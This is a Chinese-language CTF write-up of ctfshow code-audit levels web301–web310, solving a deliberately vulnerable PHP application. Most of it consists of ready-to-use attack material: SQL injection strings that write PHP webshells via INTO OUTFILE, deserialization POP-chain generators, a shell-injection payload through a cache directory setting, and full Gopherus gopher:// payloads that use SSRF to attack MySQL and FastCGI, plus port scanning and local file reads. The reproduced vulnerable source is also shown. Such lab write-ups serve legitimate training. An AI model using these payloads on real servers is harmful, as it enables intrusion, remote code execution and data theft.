WEB入门——代码审计
web301
发现checklogin.php有未过滤的SQL语句
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
注入点：
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
思路1：联合注入
账号：-1' union select 1#
密码：1
思路2：通过SQL注入漏洞写入shell，然后直接执行命令读取flag
账号：-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#
密码：1
访问1.php
web302
修改的地方：
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
只要sds_decode($userpwd)跟$row['sds_password']相等即可通过验证，翻找代码：
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
思路1：联合注入，生成密码
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("1");
?>
返回：
d9c77c4e454869d5d8da3b4be79694d3
账号：-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
密码：1
思路2：通过SQL注入漏洞写入shell，然后直接执行命令读取flag
账号：-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#
密码：1
访问1.php
web303
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
if(strlen($username)>6){
die();
}
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp(sds_decode($userpwd),string2: $row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
checklogin.php这次多了个限制，username长度不能大于6，之前代码不能用了
发现sds_user.sql里面存在用户信息
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
fun.php提示密码是admin
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>
查看dpt.php，发现dpt.php和dptadd.php都存在注入点
dpt.php：
<?php
//注入点
$_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;
$page=$_GET['id'];
$sql="select * from sds_dpt order by id;";
$result=$mysqli->query($sql);
?>
dptadd.php：
<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
}
?>
从dptadd.php下手
/dptadd.php
POST:
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
返回：
sds_dpt,sds_fl9g,sds_user
POST:
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
返回：
flag
POST:
dpt_name=1',sds_address=(select group_concat(flag) from sds_fl9g)#
返回：
ctfshow{88032351-c084-4403-9921-218c6c28811f}
web304
增加了全局waf
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
步骤跟上题一样，只不过表名从sds_fl9g改成了sds_flaag
dpt_name=1',sds_address=(select flag from sds_flaag)#
web305
fun.php
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
?>
过滤很严格，且应用到了dptadd.php，因此之前的SQL注入行不通
同时发现这题的checklogin.php相比web303多了个Cookie反序列化
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
require 'class.php';
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
if(strlen($username)>6){
die();
}
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
Cookie反序列化：
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
看class.php
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
构造：
<?php
class user{
public $username;
public $password;
public function __construct(){
$this->username='1.php';
$this->password='<?php eval($_POST[1]);?>';
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
$a = new user();
echo urlencode(serialize($a));
返回：
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
查看密码：
连接数据库：
web306
class.php有个文件写入操作
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
class dpt{
public $name;
public $address;
public $build_year;
public $have_cert="0";
public $cert_num;
public $phone;
public function __construct($n,$a,$b,$h,$c,$p){
$this->name=$n;
$this->address=$a;
$this->build_year=$b;
$this->have_cert=$h;
$this->cert_num=$c;
$this->phone=$p;
}
}
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
在index.php发现反序列化代码
$user = unserialize(base64_decode($_COOKIE['user']));
在dao.php中发现可利用的类
<?php
require 'config.php';
require 'class.php';
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
$this->conn->close();
}
public function get_user_password_by_username($u){
$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
$result=$this->conn->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows>0){
return $row['sds_password'];
}else{
return '';
}
}
}
我们可以构造一个利用链执行反序列化操作
[index.php] unserialize -> [dao.php] dao::__destruct() -> [class.php] log::close()
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title;
public $info;
public function __construct(){
$this->title='1.php';
$this->info='<?php eval($_POST[1]);?>';
}
}
$a = new dao();
echo urlencode(base64_encode(serialize($a)));
路径：
/index.php
去里面看：
/flag.php
web307
上题方法用不了
dao.php有个命令执行函数
<?php
require 'config/config.php';
require 'class.php';
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
$this->conn->close();
}
public function get_user_password_by_username($u){
$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
$result=$this->conn->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows>0){
return $row['sds_password'];
}else{
return '';
}
}
public function get_dpt_all(){
$sql="select * from sds_dpt;";
$result=$this->conn->query($sql);
$dpt_array = array();
if($result->num_rows>0){
while($row=$result->fetch_array(MYSQLI_BOTH)){
array_push($dpt_array, new dpt($row['id'],$row['sds_name'],$row['sds_address'],$row['sds_build_date'],$row['sds_have_safe_card'],$row['sds_safe_card_num'],$row['sds_telephone']));
}
}
return $dpt_array;
}
public function insert_dpt($u,$a,$b,$h,$c,$p){
$sql="insert INTO `sds_dpt` (`sds_name`, `sds_address`, `sds_build_date`, `sds_have_safe_card`, `sds_safe_card_num`, `sds_telephone`) VALUES ('$u', '$a', '$b', '$h', '$c', '$p');";
$result=$this->conn->query($sql);
return $result;
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
命令执行：
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
config.php
<?php
class config{
private $mysql_username='root';
private $mysql_password='phpcj';
private $mysql_db='sds';
private $mysql_port=3306;
private $mysql_host='localhost';
public $cache_dir = 'cache';
public function get_mysql_username(){
return $this->mysql_username;
}
public function get_mysql_password(){
return $this->mysql_password;
}
public function get_mysql_port(){
return $this->mysql_port;
}
public function get_mysql_db(){
return $this->mysql_db;
}
public function get_mysql_host(){
return $this->mysql_host;
}
}
在logout.php发现反序列化代码，且调用了clearCache()函数
<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>
反序列化代码，调用了clearCache()函数
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
POP链：
[/controller/logout.php] unserialize -> [/controller/service/dao/dao.php] dao::clearCache()
<?php
class config{
public $cache_dir = '1; echo "<?php eval(\$_POST[1]);?>" > 1.php;';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
路径：
/controller/logout.php
蚁剑访问：
/controller/1.php
web308
dao.php的clearCache()函数加了过滤，只能匹配纯英文字符，因此上题的方法在这里行不通
public function clearCache(){
if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
解决：
发现index.php有反序列化代码，且调用了一个函数checkVersion()：
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
?>
dao.php：
<?php
require 'config/config.php';
require 'class.php';
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
$this->conn->close();
}
public function get_user_password_by_username($u){
$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
$result=$this->conn->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows>0){
return $row['sds_password'];
}else{
return '';
}
}
public function get_dpt_all(){
$sql="select * from sds_dpt;";
$result=$this->conn->query($sql);
$dpt_array = array();
if($result->num_rows>0){
while($row=$result->fetch_array(MYSQLI_BOTH)){
array_push($dpt_array, new dpt($row['id'],$row['sds_name'],$row['sds_address'],$row['sds_build_date'],$row['sds_have_safe_card'],$row['sds_safe_card_num'],$row['sds_telephone']));
}
}
return $dpt_array;
}
public function insert_dpt($u,$a,$b,$h,$c,$p){
$sql="insert INTO `sds_dpt` (`sds_name`, `sds_address`, `sds_build_date`, `sds_have_safe_card`, `sds_safe_card_num`, `sds_telephone`) VALUES ('$u', '$a', '$b', '$h', '$c', '$p');";
$result=$this->conn->query($sql);
return $result;
}
public function clearCache(){
if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
}
重要代码：
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
config.php：
<?php
class config{
private $mysql_username='root';
private $mysql_password='';
private $mysql_db='sds';
private $mysql_port=3306;
private $mysql_host='localhost';
public $cache_dir = 'cache';
public $update_url = 'https://vip.ctf.show/version.txt';
public function get_mysql_username(){
return $this->mysql_username;
}
public function get_mysql_password(){
return $this->mysql_password;
}
public function get_mysql_port(){
return $this->mysql_port;
}
public function get_mysql_db(){
return $this->mysql_db;
}
public function get_mysql_host(){
return $this->mysql_host;
}
}
变量赋值：
public $update_url = 'https://vip.ctf.show/version.txt';
同时发现config.php里面并没有设置mysql密码
fun.php：
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
?>
checkUpdate()函数通过cURL发起HTTP请求，因此突破口就是这里，我们可以通过这个打SSRF漏洞
index.php
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
利用链：
[index.php] unserialize -> [/controller/service/dao/dao.php] dao::checkVersion()
因此我们用Gopher协议打无密码的mysql，工具是Gopherus
python2 gopherus.py --exploit mysql
输入以下内容
数据库用户名：
root
待执行命令：
select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php";
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01';
}
$a = new dao();
echo base64_encode(serialize($a));
返回：
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319
路径：
/index.php
蚁剑连接：
/1.php
web309
题目提示mysql有密码了，因此上题打无密码msql的方法在这里用不了
可以用Gopher扫描端口试试
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:端口';
}
$a = new dao();
echo base64_encode(serialize($a));
常见危险端口：
21 FTP
22 SSH
80 HTTP
443 HTTPS
3389 RDP
1433 MS-SQL Server
3306 MySQL
6379 Redis
9000 PHP-FPM / FastCGI
用Gopher请求端口时，如果端口有服务在监听，则会接受连接并等待我们传输数据，此时连接会“卡住”一段时间；如果端口没有服务，则会立刻拒绝连接。通过是否出现等待，就能判断端口是否开放
方法跟之前一样，也是把结果写入Cookie，路径是/index.php，参数是service，扫描到9000的时候未响应，说明9000端口开放
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyMzoiZ29waGVyOi8vMTI3LjAuMC4xOjkwMDAiO319
用Gopher协议打FastCGI，工具也是Gopherus
python2 gopherus.py --exploit fastcgi
已知文件绝对路径：
/var/www/html/index.php
待执行命令：
echo "<?php eval(\$_POST[1]);?>" > 1.php
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%201.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%201.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
$a = new dao();
echo base64_encode(serialize($a));
web310
方法和上题相同，也是用Gopher协议打FastCGI
flag在/var/flag目录
或者：试着读取nginx配置文件
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
$a = new dao();
echo base64_encode(serialize($a));
返回：
daemon off;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
发现还监听着4476端口，通过http协议访问4476端口获取flag
server_name localhost; 只响应 Host 为 localhost 的请求
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'http://127.0.0.1:4476';
}
$a = new dao();
echo base64_encode(serialize($a));
方法依旧
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